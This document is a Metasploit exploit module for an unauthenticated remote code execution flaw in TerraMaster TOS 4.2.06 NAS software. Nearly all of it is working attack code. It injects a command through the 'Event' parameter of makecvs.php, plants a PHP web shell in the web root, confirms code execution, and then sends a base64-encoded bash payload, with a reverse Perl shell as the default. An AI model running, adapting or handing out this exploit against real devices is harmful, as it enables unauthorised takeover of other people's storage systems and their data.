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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution", 'Description' => %q( This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS. The "Event" parameter in "include/makecvs.php" contains a vulnerability. "filename" is executing command on system during ".csv" creation. In order to do this, it is not necessary to have a session in the application. Therefore an unathenticated user can execute the command on the system. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', #PoC & Metasploit module 'IHTeam' # Discovery ], 'References' => [ ['CVE', '2020-'], ['URL', 'http://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html'], ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Dec 12 2020", 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8181, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_perl' })) register_options( [ OptString.new('TARGETURI', [true, "Base ERP directory path", '/']) ] ) end def run_cmd(file,cmd) res = send_request_cgi( { 'method' => 'POST', 'ctype'=> 'application/x-www-form-urlencoded', 'uri' =>normalize_uri(target_uri.path, "#{file}"), 'data' => "cmd=#{cmd}" }) end def upload_shell sname = Rex::Text.rand_text_alpha_lower(8) + ".php" payload_post = "http|echo \"<?php echo(passthru(\\$_REQUEST['cmd']));?>\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||" @b64p = Rex::Text.encode_base64(payload.encoded) perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"' payload = Rex::Text.uri_encode(perl_payload) res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"), 'vars_get' => { 'Event' => "#{payload_post}", } ) res = send_request_cgi( 'method'=> 'POST', 'uri' =>normalize_uri(target_uri.path, "#{sname}"), 'vars_post' => { 'cmd' => 'id' } ) if res && res.code == 200 && res.body.include?('uid=') print_good("Upload completed successfully and command executed!") run_cmd("#{sname}",payload) else fail_with(Failure::NoAccess, 'Error occurred during uploading!') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end upload_shell end def check res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, "version"), ) if res && res.code == 200 && res.body version = res.body.split(".0_")[1] print_status("Version : " + res.body) return CheckCode::Detected if version.nil? version = version.split(".").join('') if version <= "4206" return CheckCode::Vulnerable else return CheckCode::Safe end end end end |
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